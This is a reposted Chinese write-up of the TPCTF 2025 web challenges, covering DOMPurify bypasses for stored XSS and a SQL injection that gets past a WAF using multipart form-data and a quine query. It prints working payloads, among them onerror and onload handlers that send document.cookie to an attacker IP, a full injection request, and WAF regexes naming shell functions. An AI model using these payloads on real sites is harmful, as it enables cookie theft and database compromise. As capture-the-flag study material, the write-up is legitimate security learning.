TPCTF 2025 web 复现

文章目录

  • baby layout
  • safe layout
  • Safe Layout Revenge
    • supersqli

baby layout

在index.js文件中,看到了有使用DOMPurify库来防止XSS操作在这里插入图片描述
在package.json里可以看到版本是3.2.4,关于3.2.3是有绕过策略的。它会把script标签清除掉,去看bot可以看到flag是放到cookie里的

  await context.setCookie({name: 'FLAG',value: FLAG,domain: APP_HOST,httpOnly: false,sameSite: 'Strict',});

httponly被设置为false,所以是可以用js脚本获取的,打xss,最好用的一般就是image标签

<img src=a onerror=alert(1)>

在这里插入图片描述
create new layout发现可行,接着create new post发现成功被解析成图标。layout是布局模板,需要包含占位符{{content}},post的内容过滤之后会渲染到模板里。那么到这里我们需要做一件事情,就是把完整的内容传进最终的body里我们如果全传到layout或者全传到post传不进去,但如果分开传呢?这就有了一个天才的想法

layout:<img src=a {{content}}>
接下来在post里发我们要的执行代码
οnerrοr=alert(1)
在这里插入图片描述

接下来要做的事情就更简单了,想办法把引号闭合了即可

"οnerrοr=alert(1)//
在这里插入图片描述

说明代码成功执行,接下来用fetch函数拿Cookie发到自己服务器即可

"onerror=fetch(`http://[ip]:2333/`+document.cookie)>//

最后记得让bot访问构造好的页面

safe layout

先看看这道题比上一道题多了什么在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

html标签的属性被过滤了,但是data-* 和 aria-* 类的属性不会被过滤
在这里插入图片描述
在这里插入图片描述
发现web里有两个ejs文件,打开看一下是渲染页面用的,没什么信息
在这里插入图片描述

探索DOMPurify库
在这里插入图片描述
在这里插入图片描述
同时onload也是默认可用的

<svg data-type=“{{content}}”></svg>
test" οnlοad=location.href=“http://ip:3389?flag=”+document.cookie src="

复现环境没有bot,试着可以弹窗就说明成功了

<meta http-equiv="refresh" content="0; url=http://47.108.229.212:3389?bot_was_here">

Safe Layout Revenge

越来越有意思了,data和aria也被禁了

const sanitizedContent = DOMPurify.sanitize(content, {ALLOWED_ATTR: [],ALLOW_ARIA_ATTR: false,ALLOW_DATA_ATTR: false,});

其实在上一篇文章里有绕过策略,整体思路是采用 style 绕过,测试发现当 style 标签前面跟上一些字符时,style 内部的元素可能会得以保留,故这里采用的是删除策略,把 xss 的 payload 构造好后,把 script 标签插入 content,在第二次 post 的时候删除就行
在这里插入图片描述

{ "layout": "s<style><{{content}}/style><{{content}}img src=a onerror=alert()></style>" }{ "content": "" }

弹窗成功后接下来用fetch带出信息

supersqli

进来看到很多python文件,逐个看看
在这里插入图片描述
在views.py中看到拿到flag的逻辑,要求传入username和password,根据传入的数据去查询,如果查询到的密码跟自己设置的密码一样,那就给出flag

def flag(request:HttpRequest):if request.method != 'POST':return HttpResponse('Welcome to TPCTF 2025')username = request.POST.get('username')if username != 'admin':return HttpResponse('you are not admin.')password = request.POST.get('password')users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))try:assert password == users[0].passwordreturn HttpResponse(os.environ.get('FLAG'))except:return HttpResponse('wrong password')

在urls.py中看到应该是要去/flag提交数据


urlpatterns = [path("flag/", views.flag, name="flag"),path("", views.index, name="index"),
]

去到waf里看看过滤

var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)var hotfixPattern = regexp.MustCompile(`(?i)(select)`)

从单纯语句绕过显然是绕不过去了,去看下面这篇文章
bypass
form-data最初诞生于文件上传,但是也可以用来传递参数,那么我们就可以利用这一特性,让后端检测以为我们是在上传文件,实则是传递参数构造攻击语句(适用于一些劣质waf)
至于密码相等这一环节,则使用quine攻击
sql注入新特性

POST /flag HTTP/1.1
Host: 127.0.0.1:70
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundary=a
Content-Length: 518--a
Content-Disposition: form-data; name="username";filename="pic.png"
Content-Disposition: form-data; name="username"admin
--a
Content-Disposition: form-data; name="password";filename="pic.png"
Content-Disposition: form-data; name="password"' union SELECT 1,2,REPLACE(REPLACE('" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--',CHAR(34),CHAR(39)),CHAR(46),'" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--') AS weljoni--
--a--

可惜本地复现时显示301,可能给出的源码里有点问题

def quine(data, debug=True):if debug: print datadata = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")blob = data.replace('$$','"$"').replace("'",'"')data = data.replace('$$',"'"+blob+"'")if debug: print datareturn data
data = quine("' UNION SELECT $$ AS id,MD5(CHAR(122)) AS pw-- ")
data = quine("' UNION SELECT MD5($$)#)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/898735.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Agent Team 多智能体系统解析

引言 在人工智能技术高速发展的今天&#xff0c;"多智能体协作系统"&#xff08;Agent Team&#xff09;正成为突破效率瓶颈的关键技术。与传统的单体AI不同&#xff0c;这种由多个专业化智能体组成的协同网络&#xff0c;通过分工协作和动态调整&#xff0c;展现出…

【前端 vue 或者麦克风,智能语音识别和播放功能】

前端 vue 或者麦克风&#xff0c;智能语音识别和播放功能 1. 终端安装 npm install recordrtc2.引入 import RecordRTC from recordrtc3.html&#xff08;根据自己业务更改&#xff09; <div class"Page"><el-form ref"mainFormRef" class&qu…

bootstrap 表格插件bootstrap table 的使用经验谈!

最近在开发一个物业管理软件&#xff0c;其中用到bootstrap 的模态框。同时需要获取表格数据。用传统的方法&#xff0c;本人不想用&#xff0c;考虑到bootstrap应该有获取表格数据的方法&#xff0c;结果发现要想实现获取表格数据功能&#xff0c;需要通过bootstrap的插件实现…

HTML 图像与多媒体元素:拓展学习边界的进度记录(一)

开篇&#xff1a;学习启程 在前端开发的广袤领域中&#xff0c;HTML 作为构建网页的基石&#xff0c;其重要性不言而喻。而 HTML 图像与多媒体元素&#xff0c;就像是为这座基石添上了绚丽的色彩与灵动的音符&#xff0c;赋予网页更加丰富的表现力和交互性。作为一名热衷于探索…

循环不变量原则——螺旋矩阵

题目&#xff1a;螺旋矩阵 本题相较于螺旋矩阵II的不同之处是&#xff1a;螺旋矩阵II的矩阵是n行n列的方阵&#xff0c;而本题的矩阵并不一定是方阵。所以在遵循循环不变量原则遍历完矩阵后&#xff0c;还会有一行或者一列没有遍历。 1、行多列少&#xff08;多一列没遍历&am…

【前端】Visual Studio Code安装配置教程:下载、汉化、常用组件、基本操作

文章目录 一、Visual Studio Code下载二、汉化三、常用组件1、Auto Rename Tag2、view-in-browser3、Live Server 四、基本操作五、感谢观看&#xff01; 一、Visual Studio Code下载 下载官网&#xff1a;https://code.visualstudio.com/ 进入官网后点击右上角的Download &…

Java对象的hashcode

在 Java 中&#xff0c;hashcode 和 equals 方法是 Object 类的两个重要方法&#xff0c;它们在处理对象比较和哈希集合&#xff08;如 HashMap、HashSet&#xff09;时起着关键作用。对于equals大部分Java程序员都不陌生&#xff0c;它通常是比较两个对象的内容(值)是否相等(双…

Ubuntu22.04通过DKMS包安装Intel WiFi系列适配器(网卡驱动)

下载驱动包 访问 backport-iwlwifi-dkmshttps://launchpad.net/ubuntu/source/backport-iwlwifi-dkms 网站&#xff0c;找到适用于Ubuntu 22.04的update版本&#xff08;如backport-iwlwifi-dkms_xxxx_all.deb&#xff09;&#xff0c;下载至本地。 安装驱动 在下载目录中执行以…

深度学习--概率

1 基本概率论 1.1 假设我们掷骰子&#xff0c;想知道1而不是看到另一个数字的概率&#xff0c;如果骰子是公司&#xff0c;那么所有6个结果(1..6),都有相同的可能发生&#xff0c;因此&#xff0c;我们可以说1发生的概率为1/6. 然而现实生活中&#xff0c;对于我们从工厂收到的…

kaggle上经典泰坦尼克项目数据分析探索

之前了解在kaggle上这个项目很火&#xff0c;最近想要加强一下python数据分析&#xff0c;所以在kaggle上找到这个项目进行学习探索&#xff0c;下面是将一些学习资料以及过程整理出来。 一、首先我们了解一下项目背景以及如何找到这个项目。 kaggle项目地址: https://www.k…

《深度剖析:鸿蒙系统不同终端设备的UI自适应布局策略》

在万物互联的时代&#xff0c;鸿蒙系统以其独特的分布式理念和强大的技术架构&#xff0c;迅速在智能终端领域崭露头角。随着鸿蒙生态的不断壮大&#xff0c;越来越多的开发者投身其中&#xff0c;致力于为用户打造丰富多样的应用体验。然而&#xff0c;如何让应用在不同终端设…

计算机网络的软件、硬件和组成

&#xff11;.计算机网络的组成 计算机网络是一个十分复杂的系统&#xff0c;在逻辑上可以分为完成数据通信的通信子网和进行数据处理的资源子网两个部分。 通信子网 通信子网提供网络通信的功能&#xff0c;可以完成网络主机之间的数据传输、交换、通信控制和信号变换等通信…

告别低效人工统计!自动计算计划进度

实时监控任务进度一直是项目管理中的一项巨大挑战。 人工统计方式不仅耗时耗力&#xff0c;而且往往由于信息传递的延迟和人为误差&#xff0c;导致无法实时获得准确的项目进展信息。 这种不准确性可能掩盖潜在的风险点&#xff0c;从而影响项目的整体进度和成果。 Ganttable …

楼宇自控系统的结构密码:总线与分布式结构方式的差异与应用

在现代建筑中&#xff0c;为了实现高效、智能的管理&#xff0c;楼宇自控系统变得越来越重要。它就像建筑的 智能管家&#xff0c;可自动控制照明、空调、通风等各种机电设备&#xff0c;让建筑运行更顺畅&#xff0c;还能节省能源成本。而在楼宇自控系统里&#xff0c;有两种关…

OpenWrt开发第4篇:设置开发板的IP-基于Raspberry Pi 4B开发板

文/指尖动听知识库-谷谷 文章为付费内容,商业行为,禁止私自转载及抄袭,违者必究!!! 文章专栏:Openwrt开发-基于Raspberry Pi 4B开发板 有时候开发过程中经常会使用其他路由器,很多时候固件烧上去之后板子IP基本都是192.168.1.1,这时就需要修改板子的IP,下面介绍一下板…

Node.js系列(4)--微服务架构实践

Node.js微服务架构实践 &#x1f504; 引言 微服务架构已成为构建大规模Node.js应用的主流选择。本文将深入探讨Node.js微服务架构的设计与实现&#xff0c;包括服务拆分、服务治理、通信机制等方面&#xff0c;帮助开发者构建可扩展的微服务系统。 微服务架构概述 Node.js…

Docker逃逸

判断是否再docker中 1.ls -a / (查看c根目录查看是否有docker配置文件) 2.查看进程 如果在要逃逸到真实环境中&#xff1a; 特权模式进行docker逃逸&#xff1a;管理员执行eddocker run--privileg&#xff0c;如何判断是否是特权模式&#xff08;&#xff09; 特权模式以…

Vite管理的Vue3项目中monaco editer的使用以及组件封装

文章目录 背景环境说明安装流程以及组件封装引入依赖封装组件 外部使用实现效果 v-model实现原理 背景 做oj系统的时候,需要使用代码编辑器,决定使用Monaco Editor&#xff0c;但是因为自身能力问题&#xff0c;读不懂官网文档&#xff0c;最终结合ai和网友的帖子成功引入&…

pdf文件分页按需查看

pdf预览本来打算粗暴点&#xff0c;一次性查看全部&#xff0c;但是一个pdf四五百页导致手机端查看超出内存直接崩掉&#xff0c;崩掉会导致页面疯狂刷新&#xff0c;所以不得不进行优化 解决思路大致如下&#xff1a; canvas转为blob格式以图片的形式加载在页面&#xff08;B…

算力100问☞第92问:为什么各地热衷建设算力中心?

目录 1、宏观分析 2、政府角度分析 3、投资者角度分析 在数字化浪潮中,各地对算力中心建设的热情高涨,这一现象背后潜藏着诸多深层次的原因,涵盖了经济、科技、社会等多个维度,且彼此交织,共同驱动着这一发展趋势。 1、宏观分析 从经济结构转型的底层逻辑来看,全球经…